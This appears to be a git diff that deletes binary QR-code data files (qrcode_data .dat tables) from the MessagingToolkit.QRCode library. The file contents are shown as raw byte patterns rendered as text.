gffeeddc~:;;<<==>'(())**+``__^^]]AABBCCDD##$$%%&&DCCBBAA@]^^__``a,++**))(poonnmmluvvwwxxyabbccdde66778899 SSRRQQPPNNOOPPQQ - - ;;::9988zzyyxxwwjkkllmmn&''(())*cbbaa``_>??@@AAB+,,--../ \\[[ZZYYEEFFGGHH''(())** @??>>==>??@@AAKKJJIIHHVVWWXXYY33221100mmllkkjj~~}}||{rssttuuv.//00112[ZZYYXXWFGGHHIIJ34455667$%%&&''(TTSSRRQQMMNNOOPP//001122 87766554|{{zzyyxijjkkllm%&&''(() dccbbaa`mnnoouuvBBCCDDEEGGFFEEDDZZ[[\\]]//..--,,iihhggff{zzyyxxwvwwxxyyz23344556WVVUUTTSJKKLLMMN7==>>??@())**++,PPOONNMMQQRRSSTT3344556643322110xwwvvuutmnnooppq)**++,,-`__^^]]\vwwxxyyzFFGGHHIICCBBAA@@^^__``aa++**))((eeddccbbwvvuutsrz{{||}}~6778899: SRRQQPPONOOPPQQR@AABBCCD,--..//0LLKKJJIIUUVVWWXX77==>>??0//..--,tssrrqqpqrrssttu-..//001\[[ZZYYXz{{||}}~JJKKLLMM ??>>==< - - ONNMMLLKRSSTTUUVDEEFFGGH01122334HHGGFFEEYYZZ[[\\@@AABBCC,++**))(poonnmmluvvwwxxy12233445XWWVVUUT~NNOOPPQQ - - ;;::9988~~}}||ffgghhii""##$$%%##""!! ]]\\[[ZZllkkjjii>??@@AABKJJIIHHGVWWXXYYZHIIJJKKL45566778DDCCBBAA]]^^__``DDEEFFGG !(''&&%%$lkkjjiihyzz{{||}56677889 TSSRRQQPRRSSTTUU77665544{{zzyyxxjjkkllmm&&''(())YYSSRRQQhhggffeeBCCDDEEFGFFEEDDCZ[[\\]]^LMMNNOOP899::;;<@@??>>==aabbccddHHIIJJKK!""##$$%$##""!! hggffeed}~~9::;;<<= - - POONNMMLVVWWXXYY33221100wwvvuuttnnooppqq**++,,--PPOONNMMddccbbaaFGGHHIIJCBBAA@@?^__``aabPQQRRSSY<==>>??@<<;;::99~~}}eeffgghhLLMMNNOO%&&''(() dccbbaa`=>>??@@ALKKJJIIHZZ[[\\]]//..--,,ssrrqqpprrssttuu..//0011LLKKJJII``__^^]]JKKLLMMN -?>>==<<;bccddeefYZZ[[\\]@AABBCCD88776655||{{zzyyiijjkkllPPQQRRSS)**++,,-`__^^]]\ABBCCDDEHGGFFEED^^__``aa++**))((oonnmmllvvwwxxyy22334455HHGGFFEE\\[[ZZYYNOOPPQQR - ;::99887~~}}||{fgghhiij]^^__``aDEEFFGGH44332211xxwwvvuummnnooppYYZZ[[\\-..//001\[[ZZYYXEFFGGHHIDCCBBAA@bbccddee !!''&&%%$$kkjjiihhzz{{||}}66778899 DDCCBBAAXWVUTSSRRSSTTUUV76655443{zzyyxxwjkkllmmnabbccddeHIIJJKKL00//..--ttssrrqqqqrrsstt]]^^__``12233445XWWVVUUTIJJKKLLM @??>>==<~~}}||{ffgghhii""##$$%%##""!! ggffeedd~~::;;<<== - - @@??>>==RQQPPOONVWWXXYYZ3221100/wvvuuttsnooppqqreffgghhiLMMNNOOP,,++**))ppoonnmmuuvvwwxxaabbccdd56677889 TSSRRQQPMNNOOPPQ - - <;;::998{zzyyxxwjjkkllmm&&''(())ccbbaa``>>??@@AA77665544NMMLLKKJZ[[\\]]^/..--,,+srrqqpporssttuuvijjkkllmPQQRRSST((''&&%%llkkjjiiyyzz{{||eeffgghh9::;;<<= - - POONNMMLQRRSSTTU 87766554wvvuuoonnnooppqq**++,,--__^^]]\\BBCCDDEE33221100JIIHHGGF^__``aab+**))(('onnmmllkvwwxxyyzmnnoouuvTUUVVWWX$$##""!!hhggffee}}~~iijjkkll=>>??@@ALKKJJIIHUVVWWXXY43322110nmmllkkj~~}}||rrssttuu..//0011[[ZZYYXXFFGGHHII//..--,,FEEDDCCBbccddeef !!"'&&%%$$#kjjiihhgz{{||}}~vwwxxyyzXYYZZ[[\ ddccbbaammnnoouuABBCCDDEHGGFFEEDYZZ[[\\]0//..--,jiihhggf{{zzyyxxvvwwxxyy22334455WWVVUUTTJJKKLLMM ++**))((BAA@@??>~~}}||{fgghhiij"##$$%%&#""!! gffeeddc~z{{||}}~\]]^^__```__^^]]vvwwxxyyEFFGGHHIDCCBBAA@]^^__``a,++**))(feeddccbwwvvuutszz{{||}}66778899 SSRRQQPPNNOOPPQQ - - ''&&%%$$>==<;:98{zzyyxxwjkkllmmn&''(())*cbbaa``_~`aabbccd\\[[ZZYYzz{{||}}IJJKKLLM @??>>==>??@@AAKKJJIIHHVVWWXXYY33221100srrqqpporssttuuv.//00112[ZZYYXXWhiijjkkl TTSSRRQQQRRSSTTU 87766554|{{zzyyxijjkkllm%&&''(() ZYYSSRRQihhggffeBBCCDDEEGGFFEEDDZZ[[\\]]//..--,,onnmmllkvwwxxyyz23344556WVVUUTTSlmmnnoop - - PPOONNMMUVVWWXXY43322110xwwvvuutmnnooppq)**++,,-QPPOONNMeddccbbaFFGGHHIICCBBAA@@^^__``aa++**))((kjjiihhgz{{||}}~6778899: SRRQQPPOpqqrrsstLLKKJJIIYZZ[[\\]0//..--,tssrrqqpqrrssttu-..//001MLLKKJJIa``__^^]JJKKLLMM ??>>==< - - ONNMMLLK~~}tuuvvwwxHHGGFFEE]^^__``a,++**))(poonnmmluvvwwxxy12233445IHHGGFFE]\\[[ZZYNNOOPPQQ - - ;;::9988~~}}||ffgghhii""##$$%% - - ##""!! cbbaa``_>??@@AABKJJIIHHG}||{{zzyxyyzz{{|DDCCBBAAabbccdde !(''&&%%$lkkjjiihyzz{{||}56677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bHAZptbn˂pZ~HfbHAZpvXn˂pZHAXv`ftbdvXnےlJtA~HfptbdvXnېf۝`vQtJlbdQZ|ZHAbfpvJ`ےvpfHArd|fpvbdQZ|vpfHArd|fpvdrtے`JXrd|˂rXQvpfHAbےpvn˂rXQvpfHbے`~HfQZ|dvpfHrd|vnXQZ|dvpfZHXnvˍtbAdZdtAJے`JXQ~HfbHAXQJ~f`ZdQbtnXv`˂drtA~f`ZdQbtnXv`AJltQr˂pZdQbtJ`ےHf``JXQrXv`fJ`ے~f`JXQrpvnrtAJl~f`ZdQbtv`frtAJlAbے`pfH~|drltbr˂ppvn`ےJlvXnlJtf~HJltvXnlJtf~HbdQZ|ZHAblJfbHAZpvXn˂pZ~HfbHAZpvXn˂p`JXv`ftbdvXnےlJtAHfpۑtbdJXQrf۝`vQtJlnvpZHAbXv`ftbQZvpfHArd|fpvbdQZ|vpfHArd|fpvdrtJQrpvn˂rXQvpfHHAbےpvn˂rXQvpfHXQrbt~fpvQZ|dvpfHrd|vnrXQZ|d˂pZHXnvˍtbAdZfHfے`JXQ~HfdrtA~f`ZdQbtnXv`˂drtA~f`ZdQbtnXv`AJlt˂pZHAXv`fJ`ے~f``JXQrXv`fJ`ے~f`l|ZnXv`rtAJl~f`ZdQbtQJ`ےrtAJlAbے`pfH~|dr`vXnr˂ppvnJltvXnlJtf~HJltvXnlJtfHfpdrtAbے`~HfbHAZpvXn˂pZ~HfbHAZpvXndQbt璍f~HtbdvXnےlJtAHAZpˑtbdJXQrf۝`vQtJlt-----------.............................................. \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_3.dat deleted file mode 100644 index 815f349..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_3.dat +++ /dev/null @@ -1,297 +0,0 @@ -}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqpopnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopoooonmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststoopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststooooopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopoooooonmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvstststsrpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrpopopooonmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUTSTS}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrooopopopnmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSSSSS}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopnmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqroooooopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSS}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSSSSTSTSSSSSSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSSTSTSTST}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopooooolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSSTSTSTST}|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSSTSSSSST{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSSSSSSTSTSTSTSR{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxutstststqrqrqrqrnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWVUSTSTSTSTQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSSSSQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUSSTSTSTSQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQR{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQR~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQR}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQR}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787743434343212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7777878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -QRQRQRQROPOPOPOPMNMNMNMLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8777778743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787876543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!      - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -QRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!       - - - -QRQRQRQROPOPOPONKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:98787865656565434343432121210/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7877777765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - -QRQRQRQPMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - OPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     OPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"!     OPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!     OPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!     OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787877765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!     OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7778787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!      OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<7878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565434343210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787865656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - -OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7777778765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565212121210/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPMNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;:9:8787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#"!         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:8787777765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>9:9:9:9:7878787865656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         